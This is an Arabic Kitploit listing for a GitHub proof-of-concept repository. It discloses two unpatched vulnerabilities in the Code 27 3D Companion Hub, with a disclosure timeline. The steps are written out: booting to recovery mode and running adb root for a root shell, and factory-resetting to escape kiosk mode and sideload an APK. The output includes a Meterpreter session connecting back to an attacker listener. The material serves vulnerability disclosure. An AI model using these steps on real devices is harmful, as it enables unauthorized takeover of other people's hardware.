Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Code-27-Companion-Hub-Exploits — إثبات المفهوم لـ CVE-2026-36027 و CVE-2026-36028 | Kitploit
أدوات/GitHubGitHub/redr0nin/code-27-companion-hub-exploits
أمان أندرويدأمان الأنظمة المدمجةتصعيد الامتيازاتأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقأمن الأجهزة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
redr0nin/code-27-companion-hub-exploits

Code-27-Companion-Hub-Exploits

إثبات المفهوم لـ CVE-2026-36027 و CVE-2026-36028

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

ثغرات Code 27 3D Companion Hub (CVE-2026-36027, CVE-2026-36028)

جهاز Code 27 3D Companion Hub هو جهاز مكتبي مادي يعرض شخصية ذكاء اصطناعي مخصصة (تُدعى "Codie") كرفيق ثلاثي الأبعاد مُتحرّك. يمكن للمستخدمين رفع أي نموذج ثلاثي الأبعاد أو إنشائه، ويتيح الذكاء الاصطناعي متعدد الوسائط للشخصية رؤية محيطها، وقراءة نبرة الصوت ولغة الجسد، وخوض محادثات مفتوحة النهاية.

يغطي هذا التقرير ثغرتين تتطلبان وصولًا ماديًا إلى الجهاز. تم التحقق من كلتيهما على الإصدار أدناه، وكلتاهما، وقت النشر، غير مصححتين.

Code 27 3D Companion Hub

الجهاز المتأثر / الإصدار

الحقلالقيمة
المنتجCode 27 3D Companion Hub
إصدار واجهة Companion Hub1.2.0
المعالج / اللوحةRockchip RK3588S (rk3588s_yt921)
نظام التشغيلAndroid 12
معرّف الإصدارSQ3A.220705.003.A1
البصمة الكاملةrk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
نوع الإصدارuserdebug / release-keys

البرنامج الثابت الذي يُشحن به الجهاز هو إصدار userdebug (يظهر في شريط وضع الاسترداد وفي ro.build.display.id). تسمح إصدارات userdebug بإعادة تشغيل adbd بصلاحيات الجذر عبر adb root، وهو عامل تمكين رئيسي لوجود CVE-2026-36027.

شاشة إصدار Companion Hub تعرض الإصدار 1.2.0


CVE-2026-36027 - تنفيذ شيفرة عشوائية عبر تصحيح أخطاء USB (ADB) في وضع الاسترداد

الملخص التنفيذي

يمكن لمهاجم على مقربة جسدية من الجهاز إقلاع Companion Hub إلى وضع الاسترداد في Android والحصول على صدفة ADB بصلاحيات الجذر (uid=0, سياق SELinux u:r:su:s0). نظرًا لأن الجهاز يُشحن بإصدار userdebug، يمكن إعادة تشغيل adbd كجذر عبر adb root، مما يمنح المهاجم تفاعل قراءة/كتابة مع بيئة الاسترداد، والقدرة على تعداد خصائص الإصدار والعتاد، والوصول إلى وظائف الاسترداد (التحميل الجانبي sideload، fastboot، عمليات الأقسام).

الوصول الذي تم الحصول عليه يقع داخل ramdisk الخاصة بوضع الاسترداد، وليس في بيئة تشغيل Android الحية. أثناء الاختبار، فشل إجراء Mount /system في وضع الاسترداد (تعذّر على libfs_mgr فتح /dev/block/by-name/system)، لذا لم يتم تحميل قسم النظام مباشرة عبر هذا المسار، ولا يتم عرض بيئة المستخدم المُقلعة، بما فيها الكشك وأي بيانات مستخدم مفكوكة التشفير، في هذا الوضع.

لا يزال هذا مهمًا لأن وصول الجذر إلى بيئة الاسترداد هو الأساس لتعديل حالة الجهاز الدائمة (على سبيل المثال، الكتابة على الأقسام أو تطبيق حزمة تحديث مصمّمة خصيصًا) بحيث يمكن لشيفرة يتحكم بها المهاجم أن تعمل عند الإقلاع العادي التالي، مما يؤسس موطئ قدم على الجهاز الحي.

إثبات المفهوم (PoC)

  1. أطفئ الجهاز.
  2. بعد إطفاء الجهاز تمامًا، اضغط مع الاستمرار على زري الطاقة ومستوى الصوت في نفس الوقت حتى يُقلع الجهاز إلى قائمة الاسترداد في Android.

قائمة استرداد Android مع تمييز Mount /system

  1. وصّل طرف كابل USB-C بـ Companion Hub وطرفه USB-A بالكمبيوتر.
  2. استخدم الأزرار للتنقل إلى Mount /system، وحدده، ثم أكّد. سيبدو أن العملية فشلت. هذا متوقع، والاستغلال لا يزال يعمل. (يُظهر سجل الاسترداد فشل libfs_mgr في فتح /dev/block/by-name/system.)
  3. مع تثبيت ADB على جهاز الكمبيوتر، تأكد من ظهور الجهاز في القائمة:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193       recovery
  1. الجهاز الآن في وضع الاسترداد. أعد تشغيل adbd بسياق الجذر:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
  1. افتح صدفة — أنت الآن جذر على الجهاز:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
  1. باستخدام صدفة الجذر يمكنك تعداد نظام ملفات الاسترداد والتفاعل معه:
root@kitploit:~
# ls -la
total 840
drwxrwxrwt  33 root root     1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
 1970-01-01 00:00 .
drwxrwxrwt  33 root root     1040 1970-01-01 00:00 ..
drwxr-xr-x   2 root root       40 1970-01-01 00:00 acct
drwxr-xr-x   2 root root       40 1970-01-01 00:00 apex
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx   1 root root       50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x   2 root root       40 1970-01-01 00:00 cache
drwxr-xr-x   3 root root        0 1970-01-01 00:00 config
lrwxrwxrwx   1 root root       17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data_mirror
drwxr-xr-x   2 root root       40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx   1 root root       12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x  15 root root     1380 1970-01-01 00:00 dev
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx   1 root root       16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x---   1 root root      662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x   2 root root       60 1970-01-01 00:00 linkerconfig
drwxr-xr-x  12 root root     4096 1970-01-01 00:00 metadata
drwxr-xr-x   8 root system    160 1970-01-01 00:00 mnt
drwxr-xr-x   2 root root      240 1970-01-01 00:00 odm
drwxr-xr-x   2 root root       60 1970-01-01 00:00 odm_dlkm
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 oem
drwxr-xr-x   3 root root      260 1970-01-01 00:00 pcba
-rw-r--r--   1 root root    47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r--   1 root root    76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root        0 1970-01-01 00:00 proc
drwxr-xr-x   2 root root       40 1970-01-01 00:00 product
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_property_contexts
-rw-r--r--   1 root root    14023 1970-01-01 00:00 prop.default
drwxr-xr-x   3 root root       60 1970-01-01 00:00 res
drwx------   2 root root       40 2026-02-03 06:23 root
drwxr-xr-x   2 root root       60 1970-01-01 00:00 sbin
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sdcard
drwxr-xr-x   2 root root       40 1970-01-01 00:00 second_stage_resources
-rw-r--r--   1 root root   658375 1970-01-01 00:00 sepolicy
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sideload
drwxr-x--x   2 root root       40 1970-01-01 00:00 storage
dr-xr-xr-x  14 root root        0 1970-01-01 00:00 sys
drwxr-xr-x   5 root root      100 1970-01-01 00:00 system
drwxr-xr-x   2 root root       40 1970-01-01 00:00 system_ext
-rw-r--r--   1 root root      177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r--   1 root root     1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x   2 root shell      40 1970-01-01 00:00 tmp
drwxr-xr-x   3 root root       60 1970-01-01 00:00 vendor
drwxr-xr-x   2 root root       60 1970-01-01 00:00 vendor_dlkm
-rw-r--r--   1 root root    25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r--   1 root root     4395 1970-01-01 00:00 vendor_property_contexts

CVE-2026-36028 - تجاوز قيود الكشك (Kiosk) عبر إعادة الضبط المصنعية

الملخص التنفيذي

إعادة الضبط المصنعية التي تتم من قائمة الاسترداد تمسح قسم بيانات المستخدم (userdata)، حيث تُثبَّت تطبيقات الكشك. نظرًا لأن الكشك ليس جزءًا من قسم النظام، فإنه لا يُستعاد عند إعادة التشغيل، ويُقلع الجهاز إلى بيئة Android قياسية غير مقيدة (مشغّل التطبيقات، متصفح ويب، مدير ملفات، الإعدادات، وتطبيقات نظام أخرى).

من هذه البيئة غير المقيدة، يمكن للمهاجم إعادة تفعيل خيارات المطور/تصحيح أخطاء USB، وتحميل أي APK بشكل جانبي وتنفيذه للحصول على صدفة على نظام التشغيل الحي. أثناء الاختبار، أنتج هذا جلسة Meterpreter تعمل كمستخدم التطبيق غير المميّز u0_a79 — وهي صلاحيات وسياق بيانات مختلفان عن صدفة الجذر في وضع الاسترداد في CVE-2026-36027، لأنها تعمل على نظام التشغيل الحي المُقلع بدلًا من ramdisk الخاصة بوضع الاسترداد. الشيفرة التي تُزرع وتُشغَّل في هذه الحالة تُنفَّذ كجزء من التشغيل الطبيعي للجهاز، مما يمنح المهاجم تحكمًا تفاعليًا في الجهاز ونظام الملفات المتاح للمستخدم.

إثبات المفهوم (PoC)

  1. أطفئ الجهاز.
  2. بعد إطفاء الجهاز تمامًا، اضغط مع الاستمرار على زري الطاقة ومستوى الصوت في نفس الوقت حتى يُقلع الجهاز إلى قائمة الاسترداد في Android.
  3. حدد Wipe data/factory reset وأكّد المسح.

قائمة استرداد Android مع تمييز Wipe data/factory reset

  1. بمجرد إعادة تشغيل الجهاز، تختفي تطبيقات الكشك ولا يبدأ وضع الكشك. السبب أن تطبيقات الكشك مثبتة في قسم userdata بدلًا من قسم النظام. إعادة الضبط المصنعية من وضع الاسترداد تمسح userdata، فتتم إزالة تطبيقات الكشك نهائيًا؛ وبما أنها غير موجودة في قسم النظام، فإنها لا تُستعاد عند إعادة التشغيل ويفشل تشغيل الكشك.
  2. يُعرض على المهاجم بيئة Android غير مقيدة، تتضمن متصفح ويب ومدير ملفات والإعدادات وتطبيقات نظام أخرى. ومن هنا، يمكن تفعيل تصحيح أخطاء USB وتحميل أي APK بشكل جانبي وتنفيذه — مما ينتج في هذه الحالة جلسة Meterpreter على نظام التشغيل الحي:
root@kitploit:~
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500

meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  acct
040554/r-xr-xr--  480      dir   1969-12-31 19:00:03 -0500  apex
040110/--x--x---  8192     dir   2008-12-31 19:00:00 -0500  bin
000000/---------  0        fif   1969-12-31 19:00:00 -0500  bugreports
040000/---------  4096     dir   1969-12-31 19:00:04 -0500  cache
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  config
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  d
040110/--x--x---  4096     dir   2026-02-03 01:27:34 -0500  data
040000/---------  120      dir   1969-12-31 19:00:04 -0500  data_mirror
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  debug_ramdisk
040554/r-xr-xr--  1760     dir   2026-02-03 01:27:34 -0500  dev
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  etc
100554/r-xr-xr--  1997584  fil   2008-12-31 19:00:00 -0500  init
100000/---------  463      fil   2008-12-31 19:00:00 -0500  init.environ.rc
040554/r-xr-xr--  240      dir   1969-12-31 19:00:03 -0500  linkerconfig
040000/---------  16384    dir   2008-12-31 19:00:00 -0500  lost+found
040554/r-xr-xr--  4096     dir   1969-12-31 19:00:04 -0500  metadata
040554/r-xr-xr--  360      dir   1969-12-31 19:00:05 -0500  mnt
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm_dlkm
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  oem
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  postinstall
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  proc
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  product
040776/rwxrwxrw-  3452     dir   2026-02-03 01:27:39 -0500  sdcard
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  second_stage_resources
040110/--x--x---  80       dir   1969-12-31 19:00:04 -0500  storage
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  sys
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  system
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  system_ext
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  vendor
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  vendor_dlkm

الجدول الزمني للإفصاح

تنزيل الأداة
التاريخالحدث
2026-02-17تم الإفصاح عن الثغرتين لفريق Code 27 وتأكيدهما.
2026-02-17تم الإبلاغ عن ثغرتي اليوم صفر إلى MITRE.
2026-02-18ناقش فريق Code 27 خطة معالجة، وجمع معلومات إضافية، وذكر أنه سيتم إصلاحهما.
2026-06-15خصصت MITRE المعرّفين CVE-2026-36027 وCVE-2026-36028.
2026-06-15تم إشعار Code 27 بالتخصيص؛ وحوّلت جهة الاتصال الأولية المعلومات إلى الفريق الأمني لمراجعة الإصدار.
2026-06-16طلب الفريق الأمني في Code 27 التفاصيل التقنية الكاملة، مجددًا.
2026-06-17تم تزويد الفريق الأمني بالتفاصيل التقنية الكاملة، مجددًا.
2026-06-18لا رد من الفريق الأمني.
2026-06-19صرّح ممثل Code 27 بأن الشركات تُمنح عادةً 90 يومًا لحل المشكلات الأمنية وأن الفريق الأمني على علم بالأمر بالفعل. أُبلغ الممثل أن المشكلات أُبلغ عنها قبل أكثر من 120 يومًا. وتم تحديد موعد نهائي للإفصاح في 1 يوليو.
2026-06-25تم التواصل مع الفريق الأمني في Code 27 لتأكيد التحذير النهائي بشأن الموعد النهائي والنشر.
2026-06-28اعتذر Code 27، وأكد معرّفي CVE والموعد النهائي للإفصاح، وذكر أنه سيتم إرسال نشرة أمنية عامة ورابط قبل 1 يوليو.
2026-07-01تم التواصل مع Code 27 للاستفسار عن حالة النشرة الأمنية؛ لا رد.
2026-07-02نُشرت تفاصيل الثغرات غير المصححة.